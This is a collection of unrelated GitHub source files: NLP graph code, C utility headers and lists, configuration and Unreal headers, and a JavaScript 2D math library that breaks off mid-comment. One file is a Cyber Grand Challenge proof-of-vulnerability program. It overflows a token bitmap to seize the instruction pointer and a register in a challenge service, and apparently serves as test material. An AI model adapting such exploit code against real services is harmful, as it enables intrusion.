used, edges are * copied. Graphs are ordered by the sentence index and index of * the original vertices. Intent is to create a "mega graph" * similar to the graphs used in the RTE problem. * <br> * This method only works if the indexed words have different * sentence ids, as otherwise the maps used will confuse several of * the IndexedWords. */ public static SemanticGraph makeFromGraphs(Collection<SemanticGraph> sgList) { SemanticGraph sg = new SemanticGraph(); Collection<IndexedWord> newRoots = Generics.newHashSet(); for (SemanticGraph currSg : sgList) { newRoots.addAll(currSg.getRoots()); for (IndexedWord currVertex : currSg.vertexSet()) sg.addVertex(currVertex); for (SemanticGraphEdge currEdge : currSg.edgeIterable()) sg.addEdge(currEdge.getGovernor(), currEdge.getDependent(), currEdge.getRelation(), currEdge.getWeight(), currEdge.isExtra()); } sg.setRoots(newRoots); return sg; } /** * Like makeFromGraphs, but it makes a deep copy of the graphs and * renumbers the index words. * <br> * {@code lengths} must be a vector containing the number of * tokens in each sentence. This is used to reindex the tokens. */ public static SemanticGraph deepCopyFromGraphs(List<SemanticGraph> graphs, List<Integer> lengths) { SemanticGraph newGraph = new SemanticGraph(); Map<Integer, IndexedWord> newWords = Generics.newHashMap(); List<IndexedWord> newRoots = new ArrayList<>(); int vertexOffset = 0; for (int i = 0; i < graphs.size(); ++i) { SemanticGraph graph = graphs.get(i); for (IndexedWord vertex : graph.vertexSet()) { IndexedWord newVertex = new IndexedWord(vertex); newVertex.setIndex(vertex.index() + vertexOffset); newGraph.addVertex(newVertex); newWords.put(newVertex.index(), newVertex); } for (SemanticGraphEdge edge : graph.edgeIterable()) { IndexedWord gov = newWords.get(edge.getGovernor().index() + vertexOffset); IndexedWord dep = newWords.get(edge.getDependent().index() + vertexOffset); if (gov == null || dep == null) { throw new AssertionError("Counting problem (or broken edge)"); } newGraph.addEdge(gov, dep, edge.getRelation(), edge.getWeight(), edge.isExtra()); } for (IndexedWord root : graph.getRoots()) { newRoots.add(newWords.get(root.index() + vertexOffset)); } vertexOffset += lengths.get(i); } newGraph.setRoots(newRoots); return newGraph; } }
{ "pile_set_name": "Github" }
/* * Copyright (C) Narf Industries <[email protected]> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "cgc_service.h" #include "cgc_atox.h" #include "cgc_comms.h" #include "libpov.h" static char* digits = "0123456789ABCDEF"; void cgc_bzero(buf, num) char *buf; /* buffer to zeroize */ unsigned int num; /* the length of the buffer */ /* * PURPOSE : Set all bytes in buffer to zero * * RETURN : None * *F*/ { int i; for (i = 0; i < num; i++) buf[i] = buf[i] ^ buf[i]; } int cgc_b10_uint(buf, num) char *buf; /* buffer to hold the number string */ unsigned int num; /* the number to convert */ /* * PURPOSE : Convert a number into a string and store it in a buffer * * RETURN : The length of the number string * *F*/ { char tmp[12]; cgc_bzero(tmp, 12); if (num == 0) { buf[0] = '0'; return 1; } else { int i, size; for(i=0; i<10 && num!=0; i++) { tmp[i] = digits[num % 10]; num = num / 10; } size = i; for(i=size; i > 0; i--) { buf[i-1] = tmp[size-i]; } return size; } return 0; } int main(int cgc_argc, char *cgc_argv[]) { type1_vals t1vals; uint32_t mask_eip, mask_reg; cgc_size_t bytes; static char* exit_string = "quit, , , !"; static char* getTokenUserPass = "newTokens,UserPass,417599999,user/pass,Use="; static char* pov_str1 = ",Token,"; static char* pov_str2 = ","; static char* pov_str3 = ",A!"; static char* enrollInvalidToken_str1 = "enroll,Token,5,Token=2886257;Expiration=0;Use="; static char* enrollInvalidToken_str2 = ",Subject=Great Company LLC;Key=THISISMYKEYS!"; static char* enrollInvalidTokenPwn_str = "AAAABBBCCCC,Token,5,Token=789,AAAABBBBCCCCDDDD!"; static char* getTokenUP_str = "newTokens,UserPass,1,user/pass,Use=enroll!"; char eip_buf[9]; char edx_buf[12]; int len, len1, len2; char buffer[1024]; char token[1024]; int ret; mask_eip = 0xFAFAFAFA; mask_reg = 0xFFFFFFFF; if(cgc_type1_negotiate(mask_eip, mask_reg, 2, &t1vals)) cgc__terminate(1); eip_buf[0] = 'n'; eip_buf[1] = 'e'; eip_buf[2] = 'w'; eip_buf[3] = 'T'; eip_buf[4] = ((t1vals.ipval >> 0) & 0xFF); eip_buf[5] = ((t1vals.ipval >> 8) & 0xFF); eip_buf[6] = ((t1vals.ipval >> 16) & 0xFF); eip_buf[7] = ((t1vals.ipval >> 24) & 0xFF); eip_buf[8] = '\x1f'; for(int j=4; j<8; j++) { if(eip_buf[j] == 0x00 || eip_buf[j] == 0x2c) eip_buf[j] = eip_buf[j] | 0x01; if(eip_buf[j] == 0x3a || eip_buf[j] == 0x3b || eip_buf[j] == 0x21) eip_buf[j] = eip_buf[j] | 0x04; } cgc_b10_uint(edx_buf, t1vals.regval); // getToken with user/pass len = cgc_strlen(getTokenUserPass); if(cgc_transmit_all(STDOUT, getTokenUserPass, len)) cgc__terminate(1); if(cgc_transmit_all(STDOUT, eip_buf, 8)) cgc__terminate(1); if(cgc_transmit_all(STDOUT, "!", cgc_strlen("!"))) cgc__terminate(1); if((ret = cgc_read_until_delim_or_n(STDIN, token, '?', sizeof(buffer), &bytes))) cgc__terminate(3); len1 = cgc_strlen(enrollInvalidToken_str1); len2 = cgc_strlen(enrollInvalidToken_str2); for(int i=1; i<80; i++) { if(cgc_transmit_all(STDOUT, enrollInvalidToken_str1, len1)) cgc__terminate(1); if(cgc_transmit_all(STDOUT, eip_buf, 9)) cgc__terminate(1); if(cgc_transmit_all(STDOUT, enrollInvalidToken_str2, len2)) cgc__terminate(1); if((ret = cgc_read_until_delim_or_n(STDIN, buffer, '?', sizeof(buffer), &bytes))) cgc__terminate(3); } //overflow bitmap len = cgc_strlen(enrollInvalidTokenPwn_str); if(cgc_transmit_all(STDOUT, enrollInvalidTokenPwn_str, len)) cgc__terminate(1); if((ret = cgc_read_until_delim_or_n(STDIN, buffer, '?', sizeof(buffer), &bytes))) cgc__terminate(3); // send pov if(cgc_transmit_all(STDOUT, eip_buf, 8)) cgc__terminate(1); len = cgc_strlen(pov_str1); if(cgc_transmit_all(STDOUT, pov_str1, len)) cgc__terminate(1); len = cgc_strlen(edx_buf); if(cgc_transmit_all(STDOUT, edx_buf, len)) cgc__terminate(1); len = cgc_strlen(pov_str2); if(cgc_transmit_all(STDOUT, pov_str2, len)) cgc__terminate(1); len = cgc_strlen(token); if(cgc_transmit_all(STDOUT, token, len)) cgc__terminate(1); len = cgc_strlen(pov_str3); if(cgc_transmit_all(STDOUT, pov_str3, len)) cgc__terminate(1); if((ret = cgc_read_until_delim_or_n(STDIN, token, '?', sizeof(token), &bytes))) cgc__terminate(2); len = cgc_strlen(getTokenUP_str); if(cgc_transmit_all(STDOUT, getTokenUP_str, len)) cgc__terminate(1); if(bytes != len) cgc__terminate(2); if((ret = cgc_read_until_delim_or_n(STDIN, token, '?', sizeof(token), &bytes))) cgc__terminate(2); len = cgc_strlen(exit_string); if(cgc_transmit_all(STDOUT, exit_string, len)) cgc__terminate(1); }
{ "pile_set_name": "Github" }
//--------------------------------------------------------------------------------------- // $Id$ // Copyright (c) 2013 by Mulle Kybernetik. See License file for details. //--------------------------------------------------------------------------------------- #import <Foundation/Foundation.h> @interface NSObject(OCMAdditions) + (IMP)instanceMethodForwarderForSelector:(SEL)aSelector; @end
{ "pile_set_name": "Github" }
/* * list.c * * Created on: Jun 25, 2019 * Author: eric * * Implements a sorted address<>pointerlist 'class' */ #include "list.h" #include "displaydebug.h" int addresslist_findclosestIndex(PAddressList l, QWORD address) //internal function for add { int begin = -1, end = -1; if (l->size) { begin = 0; end = l->size - 1; while (begin < end) { int d = (end - begin) / 2; int i = begin + d; QWORD v = l->list[i].address; if (v == address) return i; if (address < v) end = i; else begin = i+1; } } return begin; } void addresslist_add(PAddressList l, QWORD address, void *data) { int s = addresslist_findclosestIndex(l, address); if (l->size >= l->capacity) //first make sure there is enough space to add { l->list = (PAddressListEntry)realloc(l->list, l->size + 32); l->capacity = l->size + 32; } if (s < 0) { l->list[0].data = data; l->list[0].address = address; } else { int i; if (l->list[s].address == address) { //error, already in the list ddDrawRectangle(0,DDVerticalResolution-100,100,100,0xff0000); while (1) outportb(0x80,0xc4); } while ((l->list[s].address < address) && (s < l->size)) s++; for (i = l->size; i > s; i--) //move everything to the right l->list[i] = l->list[i - 1]; l->list[s].data = data; l->list[s].address = address; } l->size++; } void *addresslist_find(PAddressList l, QWORD address) /* * Searches the list for the address and returns the data field. NULL if not found */ { int begin, end; if (l->size) { begin = 0; end = l->size; while (begin < end) { int d = end - begin; int i = begin + (d / 2); QWORD v = l->list[i].address; if (v == address) return l->list[i].data; if (address < v) end = i; else begin = i+1; } } return NULL; } void addresslist_remove(PAddressList l, QWORD address) { int begin, end; if (l->size) { begin = 0; end = l->size; while (begin < end) { int d = end - begin; int i = begin + (d / 2); QWORD v = l->list[i].address; if (v == address) { int j; for (j = i; j < l->size-1; j++) l->list[j] = l->list[j + 1]; l->size--; return; } if (address < v) end = i; else begin = i + 1; } } } PAddressList addresslist_create() { PAddressList self = (PAddressList)malloc(sizeof(AddressList)); self->list = (PAddressListEntry)malloc(sizeof(AddressListEntry) * 32); self->capacity = 32; self->size = 0; return self; } void addresslist_destroy(PAddressList l) { free(l->list); free(l); }
{ "pile_set_name": "Github" }
#ifndef _TOOLS_BE_BYTESHIFT_H #define _TOOLS_BE_BYTESHIFT_H #include <stdint.h> static inline uint16_t __get_unaligned_be16(const uint8_t *p) { return p[0] << 8 | p[1]; } static inline uint32_t __get_unaligned_be32(const uint8_t *p) { return p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3]; } static inline uint64_t __get_unaligned_be64(const uint8_t *p) { return (uint64_t)__get_unaligned_be32(p) << 32 | __get_unaligned_be32(p + 4); } static inline void __put_unaligned_be16(uint16_t val, uint8_t *p) { *p++ = val >> 8; *p++ = val; } static inline void __put_unaligned_be32(uint32_t val, uint8_t *p) { __put_unaligned_be16(val >> 16, p); __put_unaligned_be16(val, p + 2); } static inline void __put_unaligned_be64(uint64_t val, uint8_t *p) { __put_unaligned_be32(val >> 32, p); __put_unaligned_be32(val, p + 4); } static inline uint16_t get_unaligned_be16(const void *p) { return __get_unaligned_be16((const uint8_t *)p); } static inline uint32_t get_unaligned_be32(const void *p) { return __get_unaligned_be32((const uint8_t *)p); } static inline uint64_t get_unaligned_be64(const void *p) { return __get_unaligned_be64((const uint8_t *)p); } static inline void put_unaligned_be16(uint16_t val, void *p) { __put_unaligned_be16(val, p); } static inline void put_unaligned_be32(uint32_t val, void *p) { __put_unaligned_be32(val, p); } static inline void put_unaligned_be64(uint64_t val, void *p) { __put_unaligned_be64(val, p); } #endif /* _TOOLS_BE_BYTESHIFT_H */
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- For more information on using web.config transformation visit http://go.microsoft.com/fwlink/?LinkId=125889 --> <configuration xmlns:xdt="http://schemas.microsoft.com/XML-Document-Transform"> <!-- In the example below, the "SetAttributes" transform will change the value of "connectionString" to use "ReleaseSQLServer" only when the "Match" locator finds an attribute "name" that has a value of "MyDB". <connectionStrings> <add name="MyDB" connectionString="Data Source=ReleaseSQLServer;Initial Catalog=MyReleaseDB;Integrated Security=True" xdt:Transform="SetAttributes" xdt:Locator="Match(name)"/> </connectionStrings> --> <system.web> <!-- In the example below, the "Replace" transform will replace the entire <customErrors> section of your web.config file. Note that because there is only one customErrors section under the <system.web> node, there is no need to use the "xdt:Locator" attribute. <customErrors defaultRedirect="GenericError.htm" mode="RemoteOnly" xdt:Transform="Replace"> <error statusCode="500" redirect="InternalError.htm"/> </customErrors> --> </system.web> </configuration>
{ "pile_set_name": "Github" }
// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved. #pragma once #include "CoreMinimal.h" #include "Input/Reply.h" #include "Widgets/DeclarativeSyntaxSupport.h" #include "Widgets/SCompoundWidget.h" class SDiscoveringAssetsDialog : public SCompoundWidget { public: DECLARE_DELEGATE(FOnAssetsDiscovered) SLATE_BEGIN_ARGS( SDiscoveringAssetsDialog ){} SLATE_EVENT( FOnAssetsDiscovered, OnAssetsDiscovered) SLATE_END_ARGS() /** Destructor */ ~SDiscoveringAssetsDialog(); /** Constructs this widget with InArgs */ void Construct( const FArguments& InArgs ); /** Opens the dialog in a new window */ static void OpenDiscoveringAssetsDialog(const FOnAssetsDiscovered& InOnAssetsDiscovered); private: /** Handler for when "Cancel" is clicked */ FReply CancelClicked(); /** Called when the asset registry initial load has completed */ void AssetRegistryLoadComplete(); /** Closes the dialog. */ void CloseDialog(); private: FOnAssetsDiscovered OnAssetsDiscovered; };
{ "pile_set_name": "Github" }
/** * The Render Engine * Math2D * * @fileoverview A static 2D math library with several helper methods. * * @author: Brett Fattori ([email protected]) * @author: $Author: [email protected] $ * @version: $Revision: 1570 $ * * Copyright (c) 2011 Brett Fattori ([email protected]) * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * */ "use strict"; // The class this file defines and its required classes R.Engine.define({ "class":"R.math.Math2D", "requires":[ "R.math.Rectangle2D", "R.math.Point2D", "R.math.Vector2D" ], "includes":[ "/../engine/libs/sylvester.js" ] }); /** * Bin object used by convex hull method. * @private */ var Bin = Base.extend({ B:null, constructor:function (size) { this.B = []; for (var i = 0; i < size; i++) { this.B.push({ min:0, max:0 }); } } }); /** * @class A static class with methods and fields that are helpful * when dealing with two dimensional mathematics. * * @static */ R.math.Math2D = /** @scope R.math.Math2D.prototype */{ /** * An approximation of PI (3.14159) * @type {Number} */ PI:3.14159, /** * An approximation of PI*2 (6.28318) * @type {Number} */ TWO_PI:6.28318, /** * An approximation of the inverse of PI (0.31831) * @type {Number} */ INV_PI:0.31831, /** * Convert degrees to radians. * @param degrees {Number} An angle in degrees * @return {Number} The degrees value converted to radians */ degToRad:function (degrees) { return (0.01745 * degrees); }, /** * Convert radians to degrees. * @param radians {Number} An angle in radians * @return {Number} The radians value converted to degrees */ radToDeg:function (radians) { return (radians * 180 / R.math.Math2D.PI); }, /** * Perform AAB (axis-aligned box) to AAB collision testing, returning <tt>true</tt> * if the two boxes overlap. * * @param box1 {R.math.Rectangle2D} The collision box of object 1 * @param box2 {R.math.Rectangle2D} The collision box of object 2 * @return {Boolean} <tt>true</tt> if the rectangles overlap */ boxBoxCollision:function (box1, box2) { return box1.isIntersecting(box2); }, /** * Perform point to AAB collision, returning <code>true</code> * if a collision occurs. * * @param box {R.math.Rectangle2D} The collision box of the object * @param point {R.math.Point2D} The point to test, in world coordinates * @return {Boolean} <tt>true</tt> if the point is within the rectangle */ boxPointCollision:function (box, point) { return box.containsPoint(point); }, /** * Check to see if a line intersects another * * @param p1 {R.math.Point2D} Start of line 1 * @param p2 {R.math.Point2D} End of line 1 * @param p3 {R.math.Point2D} Start of line 2 * @param p4 {R.math.Point2D} End of line 2 * @return {Boolean} <tt>true</tt> if the lines intersect */ lineLineCollision:function (p1, p2, p3, p4) { var d = ((p4.y - p3.y) * (p2.x - p1.x)) - ((p4.x - p3.x) * (p2.y - p1.y)); var n1 = ((p4.x - p3.x) * (p1.y - p3.y)) - ((p4.y - p3.y) * (p1.x - p3.x)); var n2 = ((p2.x - p1.x) * (p1.y - p3.y)) - ((p2.y - p1.y) * (p1.x - p3.x)); if (d == 0.0) { if (n1 == 0.0 && n2 == 0.0) { return false; //COINCIDENT; } return false; // PARALLEL; } var ua = n1 / d; var ub = n2 / d; return (ua >= 0.0 && ua <= 1.0 && ub >= 0.0 && ub <= 1.0); }, /** * Test to see if a line intersects a Rectangle. * * @param p1 {R.math.Point2D} The start of the line * @param p2 {R.math.Point2D} The end of the line * @param rect {R.math.Rectangle} The box to test against * @return {Boolean} <tt>true</tt> if the line intersects the box */ lineBoxCollision:function (p1, p2, rect) { // Convert the line to a box itself and do a quick box box test var lRect = R.math.Rectangle2D.create(p1.x, p1.y, p2.x - p1.x, p2.y - p1.y); var coll = R.math.Math2D.boxBoxCollision(lRect, rect); lRect.destroy(); return coll; }, /** * A static method used to calculate a direction vector * from a heading angle. * * @param origin {R.math.Point2D} The origin of the shape * @param baseVec {R.math.Vector2D} The base vector * @param angle {Number} The rotation in degrees * @param [vec] {R.math.Vector2D} <i>optional</i>. If provided, the result will be stored in * this vector rather than creating a new one. * @return {R.math.Vector2D} The direction vector */ getDirectionVector:function (origin, baseVec, angle, vec) { var r = R.math.Math2D.degToRad(angle); var x = Math.cos(r) * baseVec.x - Math.sin(r) * baseVec.y; var y = Math.sin(r) * baseVec.x + Math.cos(r) * baseVec.y; var v = (vec ? vec.set(x, y) : R.math.Vector2D.create(x, y)); return v.sub(origin).normalize(); }, /** * Given a {@link R.math.Rectangle2D}, generate a random point within it. * * @param rect {R.math.Rectangle2D} The rectangle * @return {R.math.Point2D} A random point within the rectangle */ randomPoint:function (rect) { var r = rect.get(); return R.math.Point2D.create(Math.floor(r.x + R.lang.Math2.random() * r.w), Math.floor(r.y + R.lang.Math2.random() * r.h)); }, /** * Returns <tt>true</tt> if the <tt>point</tt> lies on the line defined by * <tt>anchor</tt> in the direction of the normalized <tt>vector</tt>. * * @param point {R.math.Point2D} The point to test * @param anchor {R.math.Point2D} The anchor of the line * @param vector {R.math.Vector2D} The normalized direction vector for the line * @return {Boolean} */ isPointOnLine:function (point, anchor, vector) { var l = Line.create(anchor._vec, vector._vec); return l.contains(point._vec); }, /** * Tests if a point is Left|On|Right of an infinite line defined by * two endpoints. * * @param endPoint0 {R.math.Point2D} A point on the line * @param endPoint1 {R.math.Point2D} A second point on the line * @param testPoint {R.math.Point2D} The point to test * @return {Number} &lt;0 (to left), 0 (on), &gt;0 (to right) */ pointLeftOfLine:function (endPoint0, endPoint1, testPoint) { var p0 = endPoint0, p1 = endPoint1, p2 = testPoint; return (p1.x - p0.x) * (p2.y - p0.y) - (p2.x - p0.x) * (p1.y - p0.y); }, /** * Calculate an approximate 2D convex hull for the given array of points. * <p/> * Copyright 2001, softSurfer (www.softsurfer.com) * This code may be freely used and modified for any purpose * providing that this copyright notice is included with it. * SoftSurfer makes no warranty for this code, and cannot be held * liable for any real or imagined damage resulting from its use. * Users of this code must verify correctness for their application. * * @param pts {Array} An array of {@link R.math.Point2D} instances * @param k {Number} The approximation accuracy (larger = more accurate) * @return {Array} An array of {@link R.math.Point2D} which contains the * approximate hull of the given points */ convexHull:function (pts, k) { var points = []; for (var pz = 0; pz < pts.length; pz++) { points.push(R.math.Point2D.create(pts[pz])); } var NONE = -1; var minmin = 0, minmax = 0, maxmin = 0, maxmax = 0, xmin = points[0].x, xmax = points[0].x, cP, bot = 0, top = (-1), n = points.length, // indices for bottom and top of the stack hull = []; // Get the points with (1) min-max x-coord, and (2) min-max y-coord for (i = 1; i < n; i++) { cP = points[i]; if (cP.x <= xmin) { if (cP.x < xmin) { // new xmin xmin = cP.x; minmin = minmax = i; } else { // another xmin if (cP.y < points[minmin].y) minmin = i; else if (cP.y > points[minmax].y) minmax = i; } } if (cP.x >= xmax) { if (cP.x > xmax) { // new xmax xmax = cP.x; maxmin = maxmax = i; } else { // another xmax if (cP.y < points[maxmin].y) maxmin = i; else if (cP.y > points[maxmax].y) maxmax = i; } } } if (xmin == xmax) { // degenerate case: all x-coords == xmin hull[++top] = points[minmin]; // a point, or if (minmax != minmin) // a nontrivial segment hull[++top] = points[minmax]; return hull; // one or two points } // Next, get the max and min points in the k range bins var bin = new Bin(k + 2); // first allocate the bins bin.B[0].min = minmin; bin.B[0].max = minmax; // set bin 0 bin.B[k + 1].min = maxmin; bin.B[k + 1].max = maxmax; // set bin k+1 for (var b = 1; b <= k; b++) { // initially nothing is in the other bins bin.B[b].min = bin.B[b].max = NONE; } for (var b, i = 0; i < n; i++) { var cPP = points[i]; cP = cPP; if (cP.x == xmin || cP.x == xmax) // already have bins 0 and k+1 continue; // check if a lower or upper point if (R.math.Math2D.pointLeftOfLine(points[minmin], points[maxmin], cPP) < 0) { // below lower line b = Math.floor((k * (cP.x - xmin) / (xmax - xmin) ) + 1); // bin # if (bin.B[b].min == NONE) // no min point in this range bin.B[b].min = i; // first min else if (cP.y < points[bin.B[b].min].y) bin.B[b].min = i; // new min continue; } if (R.math.Math2D.pointLeftOfLine(points[minmax], points[maxmax], cPP) > 0) { // above upper line b = Math.floor((k * (cP.x - xmin) / (xmax - xmin) ) + 1); // bin # if (bin.B[b].max == NONE) // no max point in this range bin.B[b].max = i; // first max else if (cP.y > points[bin.B[b].max].y) bin.B[b].max = i; // new max continue; } } // Now, use the chain algorithm to get the lower and upper hulls // the output array hull[] will be used as the stack // First, compute the lower hull on the stack hull[] for (var i = 0; i <= k + 1; ++i) { if (bin.B[i].min == NONE) // no min point in this range continue; var cPP = points[bin.B[i].min]; // select the current min point cP = cPP; while (top > 0) { // there are at least 2 points on the stack // test if current point is left of the line at the stack top if (R.math.Math2D.pointLeftOfLine(hull[top - 1], hull[top], cPP) > 0) break; // cP is a new hull vertex else top--; // pop top point off stack } hull[++top] = cPP; // push current point onto stack } // Next, compute the upper hull on the stack H above the bottom hull if (maxmax != maxmin) // if distinct xmax points hull[++top] = points[maxmax]; // push maxmax point onto stack bot = top; // the bottom point of the upper hull stack for (var i = k; i >= 0; --i) { if (bin.B[i].max == NONE) // no max point in this range continue; var cPP = points[bin.B[i].max]; // select the current max point cP = cPP; while (top > bot) { // at least 2 points on the upper stack // test if current point is left of the line at the stack top if (R.math.Math2D.pointLeftOfLine(hull[top - 1], hull[top], cPP) > 0) break; // current point is a new hull vertex else top--; // pop top point off stack } hull[++top] = cPP; // push current point onto stack } //if (minmax != minmin) // hull[++top] = points[minmin]; // push joining endpoint onto stack bin = null; // free bins before returning // See if the first and last points are identical. This will cause a problem // if the hull is used for SAT collisions. if (hull[0].equals(hull[hull.length - 1])) { hull.pop(); } points = null; return hull; // # of points on the stack }, /** * Determine the Minkowski Difference of two convex hulls. Useful for * calculating collision response. * * @param hullA {Array} An array of {@link R.math.Point2D} * @param hullB {Array} An array of {@link R.math.Point2D} * @return {Array} An array of {@link R.math.Point2D} which are the Minkowski Difference of * the two hulls. */ minkDiff:function (hullA, hullB) { var cP = 0, minkDiff = new Array(hullA.length * hullB.length); for (var a in hullA) { for (var b in hullB) { var ha = hullA[a].get(), hb = hullB[b].get(), pt = R.math.Point2D.create(hb.x - ha.x, hb.y - ha.y); minkDiff[cP++] = pt; } } return minkDiff; }, /** * Helper method to determine if one circle will collide with another circle * based on its direction of movement. The circle's centers should be in * world coordinates. * * @param circle {R.math.Circle2D} The first circle * @param velocity {R.math.Vector2D} The first circle's velocity vector * @param targetCircle {R.math.Circle2D} The second circle * @return {R.math.Vector2D} The vector which keeps the two circles from overlapping, * or <tt>null</tt> if they cannot overlap. */ circleCircleCollision:function (circle, velocity, targetCircle) { // Early out test var dist = targetCircle.getCenter().dist(circle.getCenter()); var sumRad = targetCircle.getRadius() + circle.getRadius(); dist -= sumRad; if (velocity.len() < dist) { // No collision possible return null; } var norm = R.math.Vector2D.create(velocity).normalize(); // Find C, the vector from the center of the moving // circle A to the center of B var c = R.math.Vector2D.create(targetCircle.getCenter().sub(circle.getCenter())); var dot = norm.dot(c); // Another early escape: Make sure that A is moving // towards B! If the dot product between the movevec and // B.center - A.center is less that or equal to 0, // A isn't isn't moving towards B if (dot <= 0) { norm.destroy(); c.destroy(); return null; } var lenC = c.len(); var f = (lenC * lenC) - (dot * dot); // Escape test: if the closest that A will get to B // is more than the sum of their radii, there's no // way they are going collide var sumRad2 = sumRad * sumRad; if (f >= sumRad2) { norm.destroy(); c.destroy(); return null; } // We now have F and sumRadii, two sides of a right triangle. // Use these to find the third side, sqrt(T) var t = sumRad2 - f; // If there is no such right triangle with sides length of // sumRadii and sqrt(f), T will probably be less than 0. // Better to check now than perform a square root of a // negative number. if (t < 0) { norm.destroy(); c.destroy(); return null; } // Therefore the distance the circle has to travel along // movevec is D - sqrt(T) var distance = dot - Math.sqrt(t); // Get the magnitude of the movement vector var mag = velocity.len(); // Finally, make sure that the distance A has to move // to touch B is not greater than the magnitude of the // movement vector. if (mag < distance) { norm.destroy(); c.destroy(); return null; } // Set the length of the vector which causes the circles // to just touch var moveVec = R.math.Vector2D.create(norm.mul(distance)); norm.destroy(); c.destroy(); return moveVec; }, /** * Generate an array of points which represents a regular polygon * with N sides. * @param sides {Number} The number of sides in the polygon, must be more than 2. * @param [radius] {Number} The radius for the polygon. Default: 100 * @return {Array} an array of {@link R.math.Point2D} */ regularPolygon:function (sides, radius) { Assert(sides > 2, "Math2D.regularPolygon() must be called with sides > 2"); radius = radius || 100; var rot = R.math.Math2D.TWO_PI / sides; var angle, p; var points = []; for (var i = 0; i < sides; i++) { angle = (i * rot) + ((R.math.Math2D.PI - rot) * 0.5); p = R.math.Point2D.create(Math.cos(angle) * radius, Math.sin(angle) * radius); points.push(p); } return points; }, /** * Get a point which represents the logical center of all of the * given points. * @param points {Array} An array of {@link R.math.Point2D} * @return {R.math.Point2D} */ getCenterOfPoints:function (points) { var p = R.math.Point2D.create(0, 0); for (var pt = 0; pt < points.length; pt++) { p.add(points[pt]); } p.div(points.length); return p; }, /** * Calculate the smallest bounding box which contains * the given set of points. * @param points {Array} An array of {@link R.math.Point2D} * @param [rect] {R.math.Rectangle2D} Optional rectangle to set to the bounding box * @return {R.math.Rectangle2D} The bounding box of the points */ getBoundingBox:function (points, rect, transformed) { var x1 = points[0].x, x2 = points[0].x, y1 = points[0].y, y2 = points[0].y; rect = rect || R.math.Rectangle2D.create(0, 0, 1, 1); transformed = transformed || false; for (var p = 1; p < points.length; p++) { var pt = points[p]; if (pt.x < x1) { x1 = pt.x; } if (pt.x > x2) { x2 = pt.x; } if (pt.y < y1) { y1 = pt.y; } if (pt.y > y2) { y2 = pt.y; } } var w, h; if (x1 < 0 && x2 >= 0) { w = x2 - x1; } else if (x1 < 0 && x2 < 0) { w = x1 + x2; } else { w = x2 - x1; } if (y1 < 0 && y2 >= 0) { h = y2 - y1; } else if (y1 < 0 && y2 < 0) { h = y1 + y2; } else { h = y2 - y1; } rect.set(transformed * x1, transformed * y1, w, h); return rect; }, /** * Transform a point or an array of points by the given matrix. This method * transforms the points by mutating them. * @param points {R.math.Point2D|Array} A single point or an array of {@link R.math.Point2D} * @param matrix {Matrix} The matrix to transform the points with */ transformPoints:function (points, matrix) { if (R.isArray(points)) { for (var pt = 0; pt < points.length; pt++) { points[pt].transform(matrix); } return points; } else { return points.transform(matrix); } }, /** * Returns an identity matrix * @return {Matrix} */ identityMatrix:function () { return $M([ [1, 0, 0], [0, 1, 0], [0, 0, 1] ]); }, /** * Returns a matrix which can be used to translate points by * the given vector. * @param vector {R.math.Vector2D} The translation vector * @return {Matrix} */ translationMatrix:function (vector) { return $M([ [1, 0, vector.x], [0, 1, vector.y], [0, 0, 1] ]); }, /** * Returns a matrix which can be used to rotate points by * the given angle. * @param angle {Number} The rotation, in degrees * @param [origin] {R.math.Point2D} Optional origin to rotate around * @return {Matrix} */ rotationMatrix:function (angle, origin) { var rMtx; if (!origin) { rMtx = Matrix.Rotation(R.math.Math2D.degToRad(angle), $V([0, 0, 1])); } else { // Move the origin rMtx = $M([ [1, 0, origin.x], [0, 1, origin.y], [0, 0, 1] ]); // Rotate rMtx = rMtx.multiply(Matrix.Rotation(R.math.Math2D.degToRad(angle), $V([0, 0, 1]))); // Move the origin back rMtx = rMtx.multiply($M([ [1, 0, -origin.x], [0, 1, -origin.y], [0, 0, 1] ])); } return rMtx; }, /** * Returns a matrix which can be used to scale points by * the given amounts. Providing neither the scale along X nor Y will * return the identity matrix. * @param scaleX {Number} Scale along the X axis, <tt>null</tt> for 1.0 * @param scaleY {Number} Scale along the Y axis, <tt>null</tt> to use the X scaling amount * @return {Matrix} */ scalingMatrix:function (scaleX, scaleY) { scaleX = scaleX || 1.0; scaleY = scaleY || scaleX; return $M([ [scaleX, 0, 0], [0, scaleY, 0], [0, 0, 1] ]); }, /** * Calculates all of the points along a line using Bresenham's algorithm. * This method will return an array of points which need to be cleaned up * when done using them. * * @param start {R.math.Point2D} The starting point for the line * @param end 